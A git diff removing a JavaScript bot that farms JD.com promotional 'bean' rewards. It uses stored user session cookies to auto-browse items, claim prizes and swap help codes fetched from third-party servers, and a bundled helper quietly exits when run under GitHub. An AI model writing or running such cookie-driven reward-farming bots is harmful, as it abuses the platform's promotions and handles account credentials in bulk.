秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_818.js b/activity/jd_818.js deleted file mode 100644 index 06e4417..0000000 --- a/activity/jd_818.js +++ /dev/null @@ -1,930 +0,0 @@ -/* -京东手机狂欢城活动,每日可获得30+以上京豆(其中20京豆是往期奖励,需第一天参加活动后,第二天才能拿到) -活动时间10.21日-11.12日结束,活动23天,保底最少可以拿到690京豆 -活动地址: https://rdcseason.m.jd.com/#/index - -其中有20京豆是往期奖励,需第一天参加活动后,第二天才能拿到!!!! - - -每天0/6/12/18点逛新品/店铺/会场可获得京豆,京豆先到先得 -往期奖励一般每天都能拿20京豆 - -注:脚本运行会给我提供的助力码助力,介意者可删掉脚本第48行helpCode里面的东西。留空即可(const helpCode = []); - -支持京东双账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===================quantumultx================ -[task_local] -#京东手机狂欢城 -0 0-18/6 * * * jd_818.js, tag=京东手机狂欢城, enabled=true -=====================Loon================ -[Script] -cron "0 0-18/6 * * *" script-path=jd_818.js, tag=京东手机狂欢城 -====================Surge================ -京东手机狂欢城 = type=cron,cronexp=0 0-18/6 * * *,wake-system=1,timeout=3600,script-path=jd_818.js - */ -const $ = new Env('京东手机狂欢城'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -let jdNotify = false;//是否开启推送互助码 -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); -} - -const JD_API_HOST = 'https://rdcseason.m.jd.com/api/'; -const activeEndTime = '2021/2/4 00:59:59+08:00'; -const addUrl = 'http://jd.turinglabs.net/helpcode/create/'; -const printUrl = `http://jd.turinglabs.net/api/v2/jd/5g/read/30/`; -let helpCode = [] -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.temp = []; - await updateShareCodesCDN(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await JD818(); - // await getHelp(); - // await doHelp(); - // await main(); - } - } - // console.log(JSON.stringify($.temp)) -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function main() { - // await getHelp(); - await Promise.all([ - getHelp(), - listGoods(), - shopInfo(), - listMeeting(), - ]); - await $.wait(10000); - await Promise.all([ - listGoods(), - shopInfo(), - listMeeting(), - doHelp(), - myRank(), - ]); - await Promise.all([ - getListJbean(), - getListRank(), - getListIntegral(), - ]); - await showMsg() -} -async function JD818() { - try { - await getHelp(); - await listGoods();//逛新品 - await shopInfo();//逛店铺 - await listMeeting();//逛会场 - await $.wait(10000); - //再次运行一次,避免出现遗漏的问题 - await listGoods();//逛新品 - await shopInfo();//逛店铺 - await listMeeting();//逛会场 - await doHelp(); - await myRank();//领取往期排名奖励 - await getListJbean(); - await getListRank(); - await getListIntegral(); - await showMsg() - } catch (e) { - $.logErr(e) - } -} -function listMeeting() { - const options = { - 'url': `${JD_API_HOST}task/listMeeting?t=${Date.now()}`, - 'headers': { - 'Host': 'rdcseason.m.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'Connection':' keep-alive', - 'Cookie': cookie, - 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - 'Accept-Language': 'zh-cn', - 'Referer': `https://rdcseason.m.jd.com/?reloadWQPage=t_${Date.now()}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise((resolve) => { - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - // console.log('ddd----ddd', data.code) - if (data.code === 200 && data.data.meetingList) { - let integralNum = 0, jdNum = 0; - for (let item of data.data.meetingList) { - let res = await browseMeeting(item.id); - if (res.code === 200) { - let res2 = await getMeetingPrize(item.id); - integralNum += res2.data.integralNum * 1; - jdNum += res2.data.jdNum * 1; - } - // await browseMeeting('1596206323911'); - // await getMeetingPrize('1596206323911'); - } - console.log(`逛会场--获得积分:${integralNum}`) - console.log(`逛会场--获得京豆:${jdNum}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function listGoods() { - const options = { - 'url': `${JD_API_HOST}task/listGoods?t=${Date.now()}`, - 'headers': { - 'Host': 'rdcseason.m.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'Connection':' keep-alive', - 'Cookie': cookie, - 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - 'Accept-Language': 'zh-cn', - 'Referer': `https://rdcseason.m.jd.com/?reloadWQPage=t_${Date.now()}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise( (resolve) => { - $.get(options, async (err, resp, data) => { - try { - // console.log('data1', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200 && data.data.goodsList) { - let integralNum = 0, jdNum = 0; - for (let item of data.data.goodsList) { - let res = await browseGoods(item.id); - if (res.code === 200) { - let res2 = await getGoodsPrize(item.id); - // console.log('逛新品领取奖励res2', res2); - integralNum += res2.data.integralNum * 1; - jdNum += res2.data.jdNum * 1; - } - } - console.log(`逛新品获得积分:${integralNum}`) - console.log(`逛新品获得京豆:${jdNum}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }); -} -function shopInfo() { - const options = { - 'url': `${JD_API_HOST}task/shopInfo?t=${Date.now()}`, - 'headers': { - 'Host': 'rdcseason.m.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'Connection':' keep-alive', - 'Cookie': cookie, - 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - 'Accept-Language': 'zh-cn', - 'Referer': `https://rdcseason.m.jd.com/?reloadWQPage=t_${Date.now()}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise( (resolve) => { - $.get(options, async (err, resp, data) => { - try { - // console.log('data1', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200 && data.data) { - let integralNum = 0, jdNum = 0; - for (let item of data.data) { - let res = await browseShop(item.shopId); - // console.log('res', res) - // res = JSON.parse(res); - // console.log('res', res.code) - if (res.code === 200) { - // console.log('---') - let res2 = await getShopPrize(item.shopId); - // console.log('res2', res2); - // res2 = JSON.parse(res2); - integralNum += res2.data.integralNum * 1; - jdNum += res2.data.jdNum * 1; - } - } - console.log(`逛店铺获得积分:${integralNum}`) - console.log(`逛店铺获得京豆:${jdNum}`) - } - } - // console.log('data1', data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - }) - -} -function browseGoods(id) { - const options = { - "url": `${JD_API_HOST}task/browseGoods?t=${Date.now()}&skuId=${id}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br" - } - } - return new Promise( (resolve) => { - $.get(options, (err, resp, data) => { - try { - // console.log('data1', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - // console.log('data1', data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function getGoodsPrize(id) { - const options = { - "url": `${JD_API_HOST}task/getGoodsPrize?t=${Date.now()}&skuId=${id}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br" - } - } - return new Promise( (resolve) => { - $.get(options, (err, resp, data) => { - try { - // console.log('data1', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function browseShop(id) { - const options2 = { - "url": `${JD_API_HOST}task/browseShop`, - "body": `shopId=${id}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br" - } - } - return new Promise( (resolve) => { - $.post(options2, (err, resp, data) => { - try { - // console.log('data1', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function getShopPrize(id) { - const options = { - "url": `${JD_API_HOST}task/getShopPrize`, - "body": `shopId=${id}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br" - } - } - return new Promise( (resolve) => { - $.post(options, (err, resp, data) => { - try { - // console.log('getShopPrize', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function browseMeeting(id) { - const options2 = { - "url": `${JD_API_HOST}task/browseMeeting`, - "body": `meetingId=${id}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br" - } - } - return new Promise( (resolve) => { - $.post(options2, (err, resp, data) => { - try { - // console.log('点击浏览会场', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function getMeetingPrize(id) { - const options = { - "url": `${JD_API_HOST}task/getMeetingPrize`, - "body": `meetingId=${id}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br" - } - } - return new Promise( (resolve) => { - $.post(options, (err, resp, data) => { - try { - // console.log('getMeetingPrize', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function myRank() { - return new Promise(resolve => { - const options = { - "url": `${JD_API_HOST}task/myRank?t=${Date.now()}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.jbeanNum = ''; - $.get(options, async (err, resp, data) => { - try { - // console.log('查询获奖列表data', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200 && data.data.myHis) { - for (let i = 0; i < data.data.myHis.length; i++) { - $.date = data.data.myHis[0].date; - if (data.data.myHis[i].status === '21') { - await $.wait(1000); - console.log('开始领奖') - let res = await saveJbean(data.data.myHis[i].id); - // console.log('领奖结果', res) - if (res.code === 200 && res.data.rsCode === 200) { - // $.jbeanNum += Number(res.data.jbeanNum); - console.log(`${data.data.myHis[i].date}日奖励领取成功${JSON.stringify(res.data.jbeanNum)}`) - } - } - if (i === 0 && data.data.myHis[i].status === '22') { - $.jbeanNum = data.data.myHis[i].prize; - } - } - // for (let item of data.data.myHis){ - // if (item.status === '21') { - // await $.wait(1000); - // console.log('开始领奖') - // let res = await saveJbean(item.id); - // // console.log('领奖结果', res) - // if (res.code === 200 && res.data.rsCode === 200) { - // $.jbeanNum += Number(res.data.jbeanNum); - // } - // } - // } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function saveJbean(id) { - return new Promise(resolve => { - const options = { - "url": `${JD_API_HOST}task/saveJbean`, - "body": `prizeId=${id}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.post(options, (err, resp, data) => { - try { - // console.log('领取京豆结果', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function doHelp() { - console.log(`脚本自带助力码数量:${helpCode.length}`) - let body = '', nowTime = Date.now(), tempCode = []; - const zone = new Date().getTimezoneOffset(); - if (zone === 0) { - nowTime += 28800000;//UTC-0时区加上8个小时 - } - // await updateShareCodes(); - // if (!$.updatePkActivityIdRes) await updateShareCodesCDN(); - if ($.updatePkActivityIdRes && $.updatePkActivityIdRes['shareCodes']) tempCode = $.updatePkActivityIdRes['shareCodes']; - console.log(`是否大于当天九点🕘:${nowTime > new Date(nowTime).setHours(9, 0, 0, 0)}`) - //当天大于9:00才从API里面取收集的助力码 - //if (nowTime > new Date(nowTime).setHours(9, 0, 0, 0)) body = await printAPI();//访问收集的互助码 - body = await printAPI();//访问收集的互助码 - if (body && body['data']) { - // console.log(`printAPI返回助力码数量:${body.replace(/"/g, '').split(',').length}`) - // tempCode = tempCode.concat(body.replace(/"/g, '').split(',')) - tempCode = [...tempCode, ...body['data']] - } - console.log(`累计助力码数量:${tempCode.length}`) - //去掉重复的 - tempCode = [...new Set(tempCode)]; - console.log(`去重后总助力码数量:${tempCode.length}`) - for (let item of tempCode) { - if (!item) continue; - const helpRes = await toHelp(item.trim()); - if (helpRes.data.status === 5) { - console.log(`助力机会已耗尽,跳出助力`); - break; - } - } -} -function printAPI() { - return new Promise(resolve => { - $.get({url: `${printUrl}`, 'timeout': 10000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function toHelp(code) { - return new Promise(resolve => { - const options = { - "url": `${JD_API_HOST}task/toHelp`, - "body": `shareId=${code}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://rdcseason.m.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie, - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Referer": "https://rdcseason.m.jd.com/", - "Content-Length": "44", - "Accept-Language": "zh-cn" - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`助力结果:${data}`); - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getHelp() { - return new Promise(resolve => { - const options = { - "url": `${JD_API_HOST}task/getHelp?t=${Date.now()}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - console.log(`\n您的助力码shareId(互助码每天都是变化的)\n\n"${data.data.shareId}",\n`); - // console.log(`每日9:00以后复制下面的URL链接在浏览器里面打开一次就能自动上车\n\n${addUrl}${data.data.shareId}\n`); - let ctrTemp; - if ($.isNode() && process.env.JD_818_SHAREID_NOTIFY) { - console.log(`环境变量JD_818_SHAREID_NOTIFY::${process.env.JD_818_SHAREID_NOTIFY}`) - ctrTemp = `${process.env.JD_818_SHAREID_NOTIFY}` === 'true'; - } else { - ctrTemp = `${jdNotify}` === 'true'; - } - // console.log(`是否发送上车推送链接:${ctrTemp ? '是' : '否'}`) - // // 只在早晨9点钟触发一次 - // let NowHours = new Date().getHours(); - // const zone = new Date().getTimezoneOffset(); - // if (zone === 0) { - // NowHours += 8;//UTC-0时区加上8个小时 - // } - // if (ctrTemp && NowHours === 9 && $.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}互助码自动上车`, `[9:00之后上车]您的互助码上车链接是 ↓↓↓ \n\n ${addUrl}${data.data.shareId} \n\n ↑↑↑`, { - // url: `${addUrl}${data.data.shareId}` - // }) - // await $.http.get({url: `http://jd.turinglabs.net/helpcode/add/${data.data.shareId}/`}).then((resp) => { - // console.log(resp); - // return - // if (resp.statusCode === 200) { - // const { body } = resp; - // } - // }); - $.temp.push(data.data.shareId); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//获取当前活动总京豆数量 -function getListJbean() { - return new Promise(resolve => { - const options = { - "url": `${JD_API_HOST}task/listJbean?pageNum=1`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - $.jbeanCount = data.data.jbeanCount; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getListIntegral() { - return new Promise(resolve => { - const options = { - "url": `${JD_API_HOST}task/listIntegral?pageNum=1`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - $.integralCount = data.data.integralCount; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//查询今日累计积分与排名 -function getListRank() { - return new Promise(resolve => { - const options = { - "url": `${JD_API_HOST}task/listRank?t=${Date.now()}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - if (data.data.my) { - $.integer = data.data.my.integer; - $.num = data.data.my.num; - } - if (data.data.last) { - $.lasNum = data.data.last.num; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function updateShareCodes(url = 'https://raw.githubusercontent.com/xxxx/updateTeam/master/jd_shareCodes.json') { - return new Promise(resolve => { - $.get({url}, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - } else { - $.updatePkActivityIdRes = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_shareCodes.json') { - return new Promise(resolve => { - $.get({url , headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.updatePkActivityIdRes = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function showMsg() { - let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; - if (nowTime > new Date(activeEndTime).getTime()) { - $.msg($.name, '活动已结束', `该活动累计获得京豆:${$.jbeanCount}个\n请删除此脚本\n咱江湖再见`); - if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`) - } else { - $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${$.jbeanCount ? `${$.integer ? `当前获得积分:${$.integer}个\n` : ''}${$.num ? `当前排名:${$.num}\n` : ''}当前参赛人数:${$.lasNum}人\n累计获得京豆:${$.jbeanCount}个🐶\n` : ''}${$.jbeanCount ? `累计获得积分:${$.integralCount}个\n` : ''}${$.jbeanNum ? `${$.date}日奖品:${$.jbeanNum}\n` : ''}具体详情点击弹窗跳转后即可查看`, {"open-url": "https://rdcseason.m.jd.com/#/hame"}); - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 